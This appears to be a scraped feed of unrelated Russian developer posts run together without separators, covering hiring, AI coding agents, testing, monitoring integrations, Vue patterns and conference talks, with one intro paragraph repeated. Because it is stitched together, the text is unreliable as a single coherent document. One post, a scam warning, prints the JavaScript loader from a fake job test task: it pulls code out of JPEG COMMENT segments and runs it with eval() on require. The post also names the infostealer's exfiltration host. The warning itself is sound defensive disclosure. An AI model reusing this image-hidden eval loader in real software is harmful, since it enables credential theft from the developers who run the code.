Около полутора месяцев назад, работая над задачей дообучения локальной модели ИИ, я наткнулся на Modern Web Guidance - сборник руководств (skills - навыков) по современной веб-разработке для агентов ИИ от команды Google Chrome. Ознакомившись со сборником, я понял, что большинство руководств человекам тоже не помешали бы😄 Так появился этот репозиторий. Основная работа над руководствами завершена. Любые исправления, замечания и предложения приветствуются. Пользуйтесь на здоровье и счастливого кодинга!
Про перегрев рынка разработчиков не писал только ленивый, мне даже кажется, что среди фронтов проблема найма стоит острее, так как порог вхождения туда не так высок. Найти хорошую работу спецу во фронте, кажется стало сродни поймать золотую рыбку, хотя некоторым это удаётся.
Даже если отправить пол сотни откликов с резюме опытного фронта на hh, с небольшими зарплатными требованиями, не факт, что хоть в одной фирме тебя позовут на собес.
Более того, у этой проблемы есть и вторая сторона: совсем молодые выпускники курсов, самоучки, большинство из которых даже не окончили вуз или даже еще никуда не поступили, оценивающие себя как сеньора или минимум мидла, по причине огромной наглости или глупости, в силу везения или неграмотного рекрутера попадают на работу без должной оценки и выбивают себе высокие зп, порой не меньше чем у старых сотрудников, конечно как правило их увольняют, но к этому моменту они успевают попортить продукт и нервы тем сотрудникам, кто будет пытаться их учить.
Примерно так во многих местах работает найм
Кажется, что квалификация многих новых разрабов, особенно фронтов, сейчас очень низка, также как и тех кто ведёт их найм, и это не в единичных фирмах, я сталкивался с таким в половине мест где я работал.
Также сдаётся мне, что hh совершенно не подходит для поиска работы разработчиком.
В связи с этим хотел бы попросить совета у коллег по цеху, особенно фронтовиков, в форме трех следующих вопросов: 1. Где лучше искать работу, на каком ресурсе? 2. Замечаете ли вы, что hr часто набирают не тех кто реально способен, а тех кто умело врет или красиво улыбается? 3. Стоит ли искать работу фронту или стоит сменить профессию?
Привет. Я пишу бэкенд на Go, люблю строгую типизацию и предсказуемость. Но игнорировать тему ИИ-ассистентов глупо, поэтому я решил проверить, насколько они применимы для сборки нормального, защищенного проекта, а не просто кривых прототипов.
Чтобы эксперимент был чистым, взял стек, с которым не работаю каждый день: Node.js (Express 5) и Vanilla JS. На выходе получился хаб с утилитами: https://toolkitch.ru/
Главная идея проекта - простые инструменты средствами компьютера. Меня всегда раздражало, что популярные онлайн-сервисы гоняют данные на свои сервера, хотя по факту это может выполняться на компьютере. Здесь инструменты работают строго client-side, то есть в браузере пользователя. Ничего не устанавливал и не скачивал, но выполнил на компьютере.
По технической части:
Express 5 и Bootstrap 5.
Безопасность: настроил Helmet, прописал строгие CSP заголовки и CORS.
Писать код помогал ИИ-ассистент KodaCode. Впечатления положительные: нейронка полностью сняла с меня рутину вроде написания докер-файлов, конфигов Traefik и однотипной верстки под 7+ разных инструментов. Моя задача сводилась к контролю архитектуры и безопасности.
Сайт оптимизировал в том числе под ИИ-поисковики (GEO/AEO), чтобы тот же Яндекс Нейро или Perplexity могли индексировать страницы и предлагать эти утилиты пользователям по прямым запросам.
Посмотреть, что получилось, можно по ссылке выше. Будет интересно узнать, как вы используете ИИ в своей инженерной рутине, и какие специализированные плагины/инструменты можете порекомендовать. За критику по UI/UX сайта также буду благодарен.
Около месяца назад, работая над задачей дообучения локальной модели ИИ, я наткнулся на Modern Web Guidance - сборник руководств (skills - навыков) по современной веб-разработке для агентов ИИ от команды Google Chrome. Ознакомившись со сборником, я понял, что большинство руководств человекам тоже не помешали бы😄 Так появился этот репозиторий. Большая часть руководств, выбранных мной для перевода и адаптации, уже готова. Любые исправления, замечания и предложения приветствуются. Пользуйтесь на здоровье и счастливого кодинга!
Представлен открытый проект Navidrome Music Server, который позволяет слушать музыку с ПК где угодно. Работает очень просто: пользовательский ПК превращается в сервер, к которому можно получить доступ с любого устройства. Есть демо-версия проекта, чтобы понять принцип работы.
Оказалось: агент перегружается и начинает игнорировать правила избирательно. Мой CLAUDE.md вырос до 8000 слов и стал работать хуже чем на 2000. Теперь: конкретные примеры из кода вместо абстрактных запретов. «Вот как мы делаем, вот что сломалось в прошлый раз» бьёт «никогда не используй X» в любой ситуации.
Я думал: агент выполнит то что попросили
Оказалось: агент соглашается с задачей, но реализует по-своему. Особенно на архитектурных решениях. Промпт строже не помогает. Помогают примеры из нашей кодовой базы. 200к строк TypeScript как контекст работают лучше любого правила.
Я думал: контекст это просто «открытые файлы»
Оказалось: когда агент начинает галлюцинировать — задача слишком большая. Контекст это не «открытые файлы», а активное управление объёмом. Теперь делю на подзадачи до старта, а не когда уже сломалось.
Я думал: skills это просто промпты в файлах
Оказалось: skills это lazy-loading для контекста. Агент подтягивает только то что нужно для конкретной задачи. После перехода с монолитного CLAUDE.md на skills расход токенов за сессию упал на 30–40%. И точность выросла, меньше лишнего в голове.
Я думал: AI-ревью заменит рутину
Оказалось: агент хорошо видит синтаксические и логические ошибки, но пропускает архитектурный дрейф. «Код работает, но растёт не туда» он не замечает. Human-in-the-loop на архитектурных решениях: не опция.
Через N месяцев Claude Code перестаёт быть инструментом для разовых запросов. Он становится партнёром. Общий язык: примеры из кода, границы модулей, точки где ты проверяешь а не доверяешь.
Использую CLAUDE.md с ноября 2024 года. За это время успел наступить на все грабли, на которые только можно. Вот пять конкретных ошибок, которые стоили времени и денег.
Ошибка 1: Засунул всё в один файл
К марту файл вырос до 40к символов. Архитектурные решения, стайл-гайд, правила тестирования, примеры промптов, доменная модель, онбординг. Всё это съедало 13% контекстного окна на каждый запрос. Claude начал «забывать» вещи из середины файла, потому что трансформер физически хуже удерживает контекст в середине.
Починил просто: CLAUDE.md только постоянный контекст, до 8к символов. Остальное в отдельные файлы, загружаются по запросу.
Ошибка 2: Писал «как надо» вместо «что нельзя»
«Используй Clean Architecture», «следуй DDD», «пиши читаемый код». Claude кивал и делал по-своему. Переформулировал в запреты: «Не используй any в TypeScript», «Не создавай сервисы с зависимостями от конкретных реализаций». Следующий же день показал разницу.
Ошибка 3: Не добавил антипаттерны явно
Написал «мы используем NestJS», но не написал «мы не используем class-validator для бизнес-валидации, только на уровне DTO». Claude честно добавлял его куда попало, потому что это «правильный NestJS». Теперь раздел «Запрещено» занимает треть файла.
Ошибка 4: Обновлял раз в квартал
Перешли с Express на NestJS в феврале, обновил CLAUDE.md только в апреле. Два месяца файл врал, и Claude иногда предлагал Express-паттерны. Теперь правило: любое архитектурное решение, принятое на ревью, идёт в CLAUDE.md в тот же день.
Ошибка 5: Не добавил примеры кода
«Используй Repository pattern» работает хуже, чем «Используй Repository pattern вот так:» плюс три строки реального кода из проекта. Без примера Claude угадывает что вы имеете в виду. Угадывает плохо.
После всех исправлений: файл 6к символов, ответы точнее, меньше правок на ревью.
API тесты не упали: они проверяли статус и структуру нового формата — всё корректно.
Я была уверена что если API возвращает 200 и схема верна — клиент получает данные.
Но в клиентском коде была строка:
cachedRows = Array.isArray(rows) ? rows : []
Для объекта Array.isArray возвращает false. Список записей стал пустым.
Формально всё работало корректно. Просто данных больше не было.Никаких ошибок в консоли. Никакого 500. Просто пустая страница.
CI остался зелёным — потому что API тесты проверяли API, а не то, как клиент использует ответ.
Дальше сработал каскад: fixture teardown тоже вызывал этот эндпоинт, получал объект вместо массива, не чистил данные — и следующие тесты падали с совершенно другой ошибкой, в совершенно другом файле.
Три теста упали из-за одного изменения shape ответа.
Ни один из них не указал на настоящую причину.
Почему CI это не ловит
CI отвечает на вопрос: «выполнились ли тесты без ошибок?»
Но не отвечает на: «имеют ли тесты смысл относительно текущей системы?»
CI реагирует только на падения. Он не знает про бизнес-инварианты, не отслеживает правильность выполнения и не видит contract drift.
Что с этим делают в зрелых системах
Начинают появляться дополнительные слои:
контрактные тесты (contract testing) — фиксируют ожидания потребителя API
явно наблюдаемость тестов — метрики не как %, а как сигналы поведения
контроль изменений API через diff-инструменты
Ни один из них не заменяет хорошие тесты. Но каждый закрывает слепое пятно, которое тесты не видят.
Финальный вывод
Тесты не доказывают, что система работает.
Они только доказывают, что система не сломалась определённым способом.
Признаки сбоя
CI зелёный
UI показывает пустой список
API возвращает 200
fixture teardown не чистил данные, занимал слот
Скрытое предположение
«Я решила что статус 200 означает, что потребитель по‑прежнему правильно читает ответ»
Как это выглядит в реальной системе
Contract drift — один из тех классов ошибок, которые можно воспроизвести намеренно. В проекте есть buggy branch именно с этим кейсом: API возвращает изменённый shape ответа, все API тесты зелёные, но клиентский код получает пустой список — без ошибок, без 500, просто тишина.
Насколько сложный проект можно сделать бесплатно в 2026 году?
Всем привет! Часто вокруг пишут, как ИИ помогает им «сделать SaaS за выходные», хайпят свои проекты и рассказывают про «миллион фич». Решил я проверить: а что реально можно сделать в 2026 году, если использовать только бесплатные тарифы и не тратить деньги?
Спойлер: получилось достаточно много.
Проект полностью экспериментальный — положится в портфолио.
Я решил сделать большой каталог, и выбрал в качестве товара приложения — PWA приложения — вдохновлялся App Store.
Что в итоге умеет платформа
Для пользователей:
- Личный кабинет с библиотекой своих приложений и избранным
- Можно оставлять комментарии, отзывы, лайки
- Сортировка по категориям, похожим на те, что в App Store
- Поиск приложений умный, использует векторное пространство имен от Google
- Приложения ранжируются по рейтингу — расчет по известной байесовской формуле — учитывает количество установок, отзывов, лайков и качество комментариев
- Задействованы, кажется, все методы установки на топ известных браузеров: от новой (2024) в один клик прямо с нашей платформы — для обладателей Chrome на ПК/Android — до пошаговых интерактивных инструкций в тех браузерах, где установка сложна или запутана
- 20 языков, 2 темы, работает офлайн. Сама платформа — тоже PWA.
- Импорт данных приложения со страниц AppStore и RuStore
- Автогенерация промо-картинки приложения + автопубликация в Pinterest
- Встраиваемый install-скрипт — один тег <script> на сайте разработчика добавляет умную кнопку установки
- 3 разных способа верификации приложений
Контентная часть:
- Масштабируемые промо-лендинги о преимуществах PWA
- Статьи-гайды по установке популярных приложений
- Для админа тоже есть свой интерфейс с множеством настроек
БД (Postgres + pgvector) Supabase — $0
Серверные функции Vercel + Edge Functions — $0
Фронтенд Vercel — $0
ИИ с API (переводы, эмбеддинги) Gemini — $0
Умный поиск Google Generative Language API + Gemini
Email Resend — $0
Авторизация Supabase Auth (Google, GitHub, Discord, GitLab и др.) — $0
Есть пару оговорок:
- Cursor 20$ в месяц — но я и без проекта его покупал
- и доменное имя wapps.store — 8$ за год. Можно было использовать то, что предоставляет Vercel бесплатно
Меня как фронтенд разработчика впечатлил масштаб бесплатных сервисов — да действительно можно реализовать свою задумку и протестировать её на будущих пользователях.
Однако надо понимать:
- бесплатные тарифы не потянут каких-то весомых нагрузок
- вайбкодить, не понимая, что генерирует нейронка — ну такое себе. Она стабильно ошибается каждый 2–3 раз и часто просто делает дикие вещи
- ну и времени приходится потратить немало, поэтому стоит подумать несколько раз: нужно ли тебе что-то такое просто «потестировать»
Поделитесь своими примеры или существующими проектами - будет интересно!
Как я связал Zabbix и таск-трекер в обе стороны без отдельного сервиса У меня боевой Zabbix 7.0 на ~260 хостов, а заявки дежурной смены живут в Planfix. Уведомления в Telegram или Matrix никто не отменял, но когда над инцидентами работает смена, мессенджер неудобен: не видно, кто взял проблему, нет статусов и истории по задаче, сложно готовить отчеты. Хотелось, чтобы проблема мониторинга сама заводила задачу в трекере, а действия с задачей возвращались обратно в Zabbix, и всё это без сервиса-прослойки.
Очевидные пути отмёл сразу:
Бот или демон - ещё один процесс, который сам надо мониторить: новая точка отказа в системе, которая как раз следит за отказами.
Почта с парсером - не возвращает id созданной задачи обратно в Zabbix, и потом нечем связать восстановление триггера с конкретной строкой в трекере.
Требование «вернуть id задачи на событие» и определило всю архитектуру.
Прямое направление: Zabbix → трекер Собрал на штатном media type типа Webhook: один JS-скрипт по флагам события решает, какой эндпоинт трекера дёрнуть. Интереснее, где хранить связь «проблема ↔ задача». Внешнюю БД соответствий заводить не стал, обошёлся тегами события. При создании задачи скрипт возвращает Zabbix теги __zbx_planfix_taskid и __zbx_planfix_link; при process_tags=1 они вешаются на событие, и все последующие операции (подтверждение, закрытие, отмена) находят ту же задачу по тегу. Состояние живёт прямо на событии, отдельное хранилище не нужно.
Что всплыло уже в бою: отмена эскалации Уведомление «Escalation canceled» (эскалацию погасили, отключив хост или триггер) приходит с теми же флагами, что и новая проблема: event_value=1, event_update_status=0. Не различишь - скрипт примет отмену за новую проблему, заведёт дубль, и задача зависнет открытой навсегда: OK-события не будет, закрывать нечем. Поэтому скрипт сначала ищет в тексте уведомления фразу «Escalation canceled» и, только если её нет, считает событие новой проблемой. Подтверждение и снятие различаю по макросу {EVENT.UPDATE.ACTION}: в первой строке update-сообщения он разворачивается в acknowledged или unacknowledged - по этому слову задача уходит «в работу» или возвращается исполнителю по умолчанию.
Обратное направление - и оно оказалось самым интересным Делается средствами самого трекера, без отдельного сервиса. В Planfix это автоматический сценарий: событие «задача принята», условие «проект = ZABBIX», операция - POST в JSON-RPC API Zabbix, метод event.acknowledge с action=6 (подтвердить + добавить комментарий). Event ID берётся из поля задачи, того самого, что прилетел при создании. Главное: обратный вызов несёт email сотрудника, и подтверждение с комментарием проставляются в Zabbix от имени этого человека, а не безликого сервисного аккаунта. В истории события видно, кто реально взял проблему - тот, на кого назначена задача в трекере.
Что ещё пришлось учесть
maxsessions=1 обязателен, иначе закрытие может обогнать создание, и правка придёт по ещё не существующей задаче.
Создание задачи не идемпотентно: при ретраях возможен дубль (из Zabbix не узнать, дошёл ли запрос на самом деле), поэтому дедуп по event_id на стороне трекера обязателен - у меня он пока в планах.
Шумовой фильтр - через эскалацию: операция на шаге 2 плюс условие «подтверждено = нет», иначе проблемы, мигающие по 30 секунд, плодят задачи.
Итог: ноль дополнительных демонов, обе системы синхронны, связь хранится на самом событии. Для одной пары систем это окупается. Но чем больше разных систем хочется соединить между собой, тем громче вопрос об оркестраторе: точечные вебхуки перестают масштабироваться, хотя единая шина и есть та самая прослойка, которую потом сам обслуживаешь. Сейчас как раз думаю в эту сторону. Чем вы сшиваете зоопарк систем - оркестратором или точечными интеграциями, и где у вас прошла граница?
⚠️ Скам через Хабр Карьеру: «тестовое задание» fullstack-вакансии содержит инфостилер
Привет, Хабр. Короткий пост-предупреждение.
Получил отклик на Хабр Карьере на вакансию fullstack-разработчика заграницу, оклад 4-5к$/мес. Его аккаунт на Хабр Карьера Общение переводят в Telegram, на аккаунт @capdice. Прислали репозиторий с «тестовым заданием»: компания Suarts (домен suarte.art), репозиторий, задача — «интегрировать криптоплатёжный сервис».
С виду — обычный Node.js + React монорепо. Само задание безобидное. Подляна — в остальной части репо.
Два артефакта:
server/back.jpg — выглядит как JPEG, но в сегментах 0xFFFE (COMMENT-маркер) лежит ~270 КБ обфусцированного JavaScript.
server/app/services/log.service.js — функция addLogsForAssets читает JPEG, вытаскивает COMMENT-сегменты и прогоняет через eval(). Вызов на верхнем уровне модуля — выполняется при каждом require() сервиса, до подключения к БД.
function addLogsForAssets(imgPath) {
const imlog = fsr.readFileSync(imgPath);
let i = 2;
const chunks = [];
while (i < imlog.length) {
if (imlog[i] !== 0xFF) break;
const marker = imlog[i + 1];
const length = imlog.readUInt16BE(i + 2);
if (marker === 0xFE) { // JPEG COMMENT marker
const data = imlog.subarray(i + 4, i + 2 + length);
chunks.push(data);
}
i += 2 + length;
}
eval(Buffer.concat(chunks).toString('utf8')); // ← payload
return true;
}
addLogsForAssets(pathr.join(process.cwd(), 'back.jpg'));
Payload эксфильтрует на cookieshop.cloud/uploads профили Chrome / Opera / Yandex, Windows AppData, macOS Keychain. Подкачивает портативный Python с github.com/indygreg/python-build-standalone/releases/ (подготовка к запуску Python-стилера) и запускает скрытый дочерний процесс через spawn(..., {detached: true, windowsHide: true}). Классический браузерный инфостилер: пароли, куки, токены.
Чек на будущее. Тестовые задания от непроверенных работодателей — только в одноразовой ВМ. eval() над содержимым файла — никогда не легитимный паттерн. Картинки в папках бэкенд-сервисов — красный флаг (file back.jpg, strings back.jpg | head).
На паттерн указал Claude Code при первичном проходе. AI для security-аудита неизвестного кода — рабочая практика.
Видели тот же back.jpg, cookieshop.cloud или @capdice — напишите.
Более быстрый способ ловить подобные алерты - мой канал
Друзья, мы собираемся на Holy JS — крупнейшей конфе про разработку с разных ракурсов.
Дима Дин, фронт-тимлид Далее «FSD — это беда, спасет только FDA!». Доклад с разбором методологий и экспериментом — созданием альтернативной архитектуры, которая будет отвечать ожиданиям разработчиков. 15.05 / 19.00-19.45 / зал 2
Ника Варако, HR-менеджер Далее «Резюме как продукт: UX, баги и деплой на рынок вакансий». Воркшоп, на котором Ника покажет примеры и антипримеры резюме, даст советы и лайфхаки по сопроводительным письмам, а главное — расскажет, как дотянуться до рекрутера в настоящих условиях найма. 14.05 / 19.45-20.45 / зал 1 (keynote)
Долгое время думала, что использовать паттерны на фронте незачем и это больше тема для собесов
Но недавно все-таки удалось использовать паттерн фабрику для фронта и моему счастью не было предела, когда после 30-минутного рефакторинга разъехавшейся вёрстки через Claude, я попросила: "брат, слушай это ж паттерн фабрика, сделай BaseModal тонким, который просто решает, какой компонент отрисовать"
Технически, классический GoF Factory Method подразумевает наследование, а здесь у меня скорее Simple Factory — функция, выбирающая что создать. Но в обиходе все называют это "фабрикой", и я не буду усложнять.
Классический паттерн фабрика на Java:
// Интерфейс
interface Modal {
void open();
void close();
}
// Конкретные реализации
class Dialog implements Modal { ... }
class BottomSheet implements Modal { ... }
class FullscreenSheet implements Modal { ... }
// Фабрика — решает какой класс создать
class ModalFactory {
static Modal create(String type, boolean isMobile) {
if (!isMobile) return new Dialog();
return switch (type) {
case "bottom-sheet" -> new BottomSheet();
case "fullscreen" -> new FullscreenSheet();
default -> new Dialog();
};
}
}
// Использование
Modal modal = ModalFactory.create("bottom-sheet", isMobile);
modal.open();
Как это работает во Vue?
На фронте есть <component :is="..."/> - динамический компонент, который рендерит то, что ему передадут. Это и есть наш аналог ModalFactory.create(...).
<!-- BaseModal.vue — фабрика -->
<template>
<component
:is="modalComponent"
v-bind="$props"
@close="emit('close')"
>
<slot />
</component>
</template>
<script setup>
// Фабричный метод — выбирает компонент
const modalComponent = computed(() => {
// Desktop → всегда Dialog (центрированный)
if (!isMobile.value) return BaseDialog
// Mobile → зависит от mobileStyle
switch (props.mobileStyle) {
case 'fullscreen':
return BaseFullscreenSheet
case 'bottom-sheet':
return BaseBottomSheet
default:
return BaseDialog
}
})
</script>
Получился BaseModal, который сам почти ничего не делает.
Он не знает, как устроен dialog. Не знает, как анимируется bottom sheet. Не знает, как выглядит fullscreen-модалка.
Как настроить доступ к Избранному — без ЛК и авторизации на сайте
Привет, Хабр! Меня зовут Катя Плаксина, я фронтенд-разработчик в Далее. Хочу поделиться решением, которое позволило реализовать возможность сохранения в Избранное без авторизации для пользователей одного крупного портала.
Почему стало необходимо реализовать такое решение? Во-первых, необходимость авторизации — одна из причин высоких отказов на сайте. Таким образом, мы просто облегчаем путь пользователя до цели. Во-вторых, без авторизации мы не собираем персональные данные, а значит, минимизируем риски, связанные с их хранением и передачей.
В чем технический вызов
Если страница работает через SSR, например, на Astro, серверу нужны данные заранее. Но если весь «источник правды» лежит в localStorage, сервер их не видит — браузерное хранилище доступно только на клиенте.
Без дополнительной логики страница будет рендериться пустой или требовать авторизации и бэкенда. Нужен промежуточный слой, который позволит передать минимальное состояние Избранного на сервер.
Разделяем хранилище на два слоя
Полный стейт Избранного остается в localStorage — там можно хранить существенно больше данных, чем в cookie, и удобно управлять состоянием на клиенте.
Легкий SSR-снапшот размещаем в cookie, кладем только favorites_preview:
первые 3–4 ID в каждой категории,
активные теги,
размер.
Сервер читает cookie и рендерит превью Избранного.
Что происходит после гидратации
Когда страница загрузилась, клиент сравнивает cookie и localStorage, дотягивает расхождения, корректно показывает или скрывает пустые состояния.
Чтобы избежать ошибок:
Добавляем mounted-флаг — не используем браузерные API во время SSR.
Настраиваем синхронизацию между вкладками через системное событие storage.
Используем кастомное событие favorites:changed для текущей вкладки. Storage в ней не срабатывает.
В итоге состояние Избранного остается консистентным во всех вкладках.
Почему не хранить всё только в cookie
Можно было ограничиться одним механизмом — хранить Избранное полностью в cookie. Но у такого подхода есть явные минусы:
cookie ограничены по объему,
перегрузка HTTP-запросов,
неудобное управление состоянием на клиенте.
Если хранить всё только в cookie, страдают производительность и масштабируемость решения.
Что получаем в итоге
На клиенте остается полноценное управление состоянием через localStorage.
Страница рендерится сразу с данными. Сервер читает легкий снэпшот из cookie и формирует превью избранного ещё до загрузки клиента.
Пользователь может вернуться к Избранному даже на следующий день — при заходе с того же устройства и браузера.
Буду рада узнать о вашем опыте реализации подобных задач в комментариях.
Сейчас для моего движка понадобилась мультиязычность. Ну как понадобилась - на гитхабе прозрачно намекнули, что негоже одной гордой cms для ведения блога быть сугубо на русском языке.
И понеслась...
Процесс перевода движка
Это хорошо, что сейчас есть нейросети и они здорово упрощают процесс перевода. Но - по старинке все делаю вручную, каждый файл...Сначала размечаю обыкновенными дефайнами либо класс контроллера, либо шаблона, ну а потом выношу это все в соответствующие языковые папки.
Вайбкодеры меня наверняка закидали бы тапками, мол - все можно автоматизировать и перевести хоть тонну файлов за 20 минут. Но - мне это не в кайф =)
Вышла пятая версия открытого проекта windows95 с исходным кодом полностью на JavaScript. «Это Windows 95, работающая в приложении Electron. Да, это полная версия. Извините», — пояснил разработчик решения.
Проект работает в Windows, а также на macOS и Linux, что подарит вам ностальгию или возможность обойти ограничения старой операционной системы независимо от вашей текущей платформы.
«Перформанс без головной боли: Системная оптимизация фронтенда в большой команде» (Мирзоев Руслан, Premier.one)
Доклад основан на реальном опыте команды из 24 разработчиков, столкнувшихся с критическими показателями LCP. Мы разберем комплексный подход к ускорению продукта: от «фундамента» (анализ бандла, Tree Shaking и борьба с циклическими зависимостями) до продвинутых стратегий рендеринга, таких как ISR и оптимизация внутренних запросов при SSR (перевод на internal hosts).
Вы получите набор готовых рецептов по работе с ассетами (SVG, шрифты, сжатие) и узнаете, как выстроить культуру производительности с помощью Performance Budgets, чтобы предотвратить регрессии в будущем
Разберёмся, почему веб-копмоненты не прижились, что нужно сделать, чтобы это исправить, и есть ли им место в современной фронтенд-разработке.
«LLM в продакшене: от идеи до внедрения за неделю» (Артем Шкуренко, Х5 Tech)
Интеграция языковых моделей в существующие продукты не требует масштабных изменений архитектуры. Покажу практические паттерны — от прямой интеграции через API до выделенных сервисов, которые позволяют запускать AI-функциональность за считанные дни.
В докладе — реальные кейсы: интеллектуальные таблицы, ассистенты и аналитика, а также разбор ключевых вызовов — контроль качества, предсказуемость результатов и стабильность работы.
«Вторая жизнь инженерных практик: как ИИ делает сложные подходы наконец-то удобными» (Вадим Царегородцев, Frontend Guild Lead в островке)
За последние годы индустрия накопила множество инженерных практик: ADR, Clean Architecture, TDD, архитектурные границы, строгие правила зависимостей.
Многие из них отличные на уровне идей, но на практике часто оказываются слишком дорогими и трудоёмкими: требуют много документации, boilerplate-кода и ручного контроля правил.
Появление LLM меняет эту ситуацию.
Интересно, что ИИ не столько создаёт новые подходы, сколько делает жизнеспособными старые идеи, которые раньше было сложно применять из-за высокой стоимости их поддержки.
В докладе я покажу несколько реальных примеров из production-разработки, где привычные инженерные практики получили вторую жизнь благодаря ИИ.
У вас самый крутой уникальный продукт или сервис на рынке, вы знаете наверняка, что он делает и как им пользоваться. А понятен ли он вашему клиенту? Надо написать документацию, но как? Давайте разберёмся, чтобы потом не было больно.
«Секретная жизнь фотографий в Клубе Тайных Покупателей X5» (Артур Басак, Х5 Tech)
Поговорим о подходе Web-First в мобильных приложениях. В частности о том, как работать с файлами, про удобство и ограничения Workbox, нюансы оффлайн-режима и о какие подводные камни можно споткнуться.
Инженерная культура и переход на «бигтех-рельсы»
Круглый стол с экспертами:Глеб Михеев, Роман Троицкий(состав уточняется…)
